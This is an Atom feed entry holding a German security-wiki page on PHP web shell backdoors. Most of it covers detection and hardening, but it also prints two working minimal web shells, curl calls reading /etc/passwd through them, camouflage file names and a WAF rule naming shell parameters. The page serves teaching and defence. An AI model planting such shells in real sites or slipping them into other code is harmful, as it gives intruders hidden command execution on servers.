<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=PHP_Web_Shell_Backdoors</id>
	<title>PHP Web Shell Backdoors - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=PHP_Web_Shell_Backdoors"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=PHP_Web_Shell_Backdoors&amp;action=history"/>
	<updated>2026-06-28T18:31:35Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=PHP_Web_Shell_Backdoors&amp;diff=70435&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „== Web Shell Backdoors ==  === Beschreibung ===  Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer eine ferngesteuerte…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=PHP_Web_Shell_Backdoors&amp;diff=70435&amp;oldid=prev"/>
		<updated>2026-05-31T17:17:34Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „== Web Shell Backdoors ==  === Beschreibung ===  Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer eine ferngesteuerte…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;== Web Shell Backdoors ==&lt;br /&gt;
&lt;br /&gt;
=== Beschreibung ===&lt;br /&gt;
&lt;br /&gt;
Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer&lt;br /&gt;
eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht. Sie fungiert als verstecktes&lt;br /&gt;
„Control Panel&amp;quot; – erreichbar über einen normalen HTTP-Request.&lt;br /&gt;
&lt;br /&gt;
Web Shells gehören zu den häufigsten Persistenzmechanismen nach einer initialen Kompromittierung&lt;br /&gt;
(z. B. über eine File-Upload-Schwachstelle oder eine veraltete CMS-Installation).&lt;br /&gt;
&lt;br /&gt;
=== Angreiferperspektive ===&lt;br /&gt;
&lt;br /&gt;
==== Minimale Web Shell ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// Klassische One-Liner Web Shell&lt;br /&gt;
if (isset($_GET['cmd'])) {&lt;br /&gt;
    system($_GET['cmd']);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Aufruf durch den Angreifer:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl &amp;quot;https://opfer.example.com/images/header.php?cmd=id&amp;quot;&lt;br /&gt;
# Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;br /&gt;
&lt;br /&gt;
curl &amp;quot;https://opfer.example.com/images/header.php?cmd=cat+/etc/passwd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Erweiterte Web Shell mit POST-Parameter ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// Versteckt im POST-Body – schwerer in Access-Logs zu erkennen&lt;br /&gt;
if (isset($_POST['x'])) {&lt;br /&gt;
    $cmd = $_POST['x'];&lt;br /&gt;
    $output = shell_exec($cmd . ' 2&amp;gt;&amp;amp;1');&lt;br /&gt;
    echo '&amp;lt;pre&amp;gt;' . htmlspecialchars($output) . '&amp;lt;/pre&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Aufruf:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X POST https://opfer.example.com/wp-includes/class-wp-image.php \&lt;br /&gt;
     -d 'x=whoami'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tarnung: Dateiname und Inhalt ====&lt;br /&gt;
&lt;br /&gt;
Angreifer benennen Web Shells gezielt unauffällig:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/images/header.php&lt;br /&gt;
/wp-includes/class-wp-image.php&lt;br /&gt;
/cache/.thumbs.php          # Punkt am Anfang → in ls ohne -a unsichtbar&lt;br /&gt;
/uploads/2024/img001.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Erkennungsmerkmale (Red Flags) ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Merkmal !! Erläuterung&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;system()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;exec()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;shell_exec()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;passthru()&amp;lt;/code&amp;gt; || Direkte Ausführung von Systembefehlen&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;$_GET&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_POST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_REQUEST&amp;lt;/code&amp;gt; ungefiltert || Benutzereingabe fließt direkt in gefährliche Funktion&lt;br /&gt;
|-&lt;br /&gt;
| Keine Authentifizierung || Jeder HTTP-Client kann die Shell aufrufen&lt;br /&gt;
|-&lt;br /&gt;
| Datei in &amp;lt;code&amp;gt;/uploads/&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/cache/&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/images/&amp;lt;/code&amp;gt; || PHP-Code hat dort nichts zu suchen&lt;br /&gt;
|-&lt;br /&gt;
| Ungewöhnliche Zugriffszeiten im Access-Log || Requests auf selten aufgerufene PHP-Dateien, oft nachts&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Suche nach Web Shells im Dateisystem ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Alle PHP-Dateien mit typischen Shell-Funktionen durchsuchen&lt;br /&gt;
grep -rn --include=&amp;quot;*.php&amp;quot; \&lt;br /&gt;
    -e &amp;quot;system\s*(&amp;quot; \&lt;br /&gt;
    -e &amp;quot;shell_exec\s*(&amp;quot; \&lt;br /&gt;
    -e &amp;quot;exec\s*(&amp;quot; \&lt;br /&gt;
    -e &amp;quot;passthru\s*(&amp;quot; \&lt;br /&gt;
    /var/www/html/&lt;br /&gt;
&lt;br /&gt;
# PHP-Dateien in Upload-Verzeichnissen – sollte leer sein&lt;br /&gt;
find /var/www/html/uploads -name &amp;quot;*.php&amp;quot; -type f&lt;br /&gt;
&lt;br /&gt;
# Kürzlich geänderte PHP-Dateien (letzte 7 Tage)&lt;br /&gt;
find /var/www/html -name &amp;quot;*.php&amp;quot; -newer /var/www/html/index.php -mtime -7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Suche im Apache Access-Log ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Requests mit typischen Shell-Parametern&lt;br /&gt;
grep -E &amp;quot;(cmd|exec|shell|pass|system)=&amp;quot; /var/log/apache2/access.log&lt;br /&gt;
&lt;br /&gt;
# PHP-Aufrufe aus Upload-Verzeichnissen&lt;br /&gt;
grep &amp;quot;uploads/.*\.php&amp;quot; /var/log/apache2/access.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Gegenmaßnahmen ===&lt;br /&gt;
&lt;br /&gt;
==== php.ini: Gefährliche Funktionen deaktivieren ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ini&amp;quot;&amp;gt;&lt;br /&gt;
; /etc/php/8.2/apache2/php.ini&lt;br /&gt;
disable_functions = system, exec, shell_exec, passthru, popen, proc_open,&lt;br /&gt;
                    pcntl_exec, eval&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nach Änderung:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
systemctl restart apache2&lt;br /&gt;
php -r &amp;quot;system('id');&amp;quot;&lt;br /&gt;
# PHP Warning: system() has been disabled for security reasons&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache: PHP-Ausführung in Upload-Verzeichnissen unterbinden ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
# /etc/apache2/conf-available/no-php-in-uploads.conf&lt;br /&gt;
&amp;lt;Directory /var/www/html/uploads&amp;gt;&lt;br /&gt;
    php_flag engine off&lt;br /&gt;
    # Alternativ mit mod_rewrite:&lt;br /&gt;
    &amp;lt;FilesMatch &amp;quot;\.php$&amp;quot;&amp;gt;&lt;br /&gt;
        Require all denied&lt;br /&gt;
    &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enconf no-php-in-uploads&lt;br /&gt;
systemctl reload apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== WAF-Regel (ModSecurity / Coraza) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
# Requests mit Shell-typischen GET-Parametern blockieren&lt;br /&gt;
SecRule ARGS_NAMES &amp;quot;@rx ^(cmd|exec|command|shell|pass)$&amp;quot; \&lt;br /&gt;
    &amp;quot;id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Integrity Monitoring mit AIDE ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AIDE-Datenbank initialisieren (nach sauberem Deployment)&lt;br /&gt;
aide --init&lt;br /&gt;
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db&lt;br /&gt;
&lt;br /&gt;
# Tägliche Prüfung per Cron&lt;br /&gt;
echo &amp;quot;0 3 * * * root aide --check&amp;quot; &amp;gt;&amp;gt; /etc/cron.d/aide-check&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zusammenfassung ===&lt;br /&gt;
&lt;br /&gt;
;Angreifer will: Dauerhaften Remote-Zugriff auf den Server über HTTP&lt;br /&gt;
;Einstiegspunkt: File-Upload-Schwachstelle, kompromittiertes CMS-Plugin, gestohlene FTP-Zugangsdaten&lt;br /&gt;
;Persistenz: PHP-Datei in öffentlich erreichbarem Verzeichnis&lt;br /&gt;
;Erkennung: Grep auf Filesystem + Access-Log-Analyse + Integrity Monitoring&lt;br /&gt;
;Prävention: disable_functions, PHP in Uploads deaktivieren, WAF, regelmäßige Datei-Checks&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Web Security]]&lt;br /&gt;
[[Kategorie:PHP]]&lt;br /&gt;
[[Kategorie:Malware]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>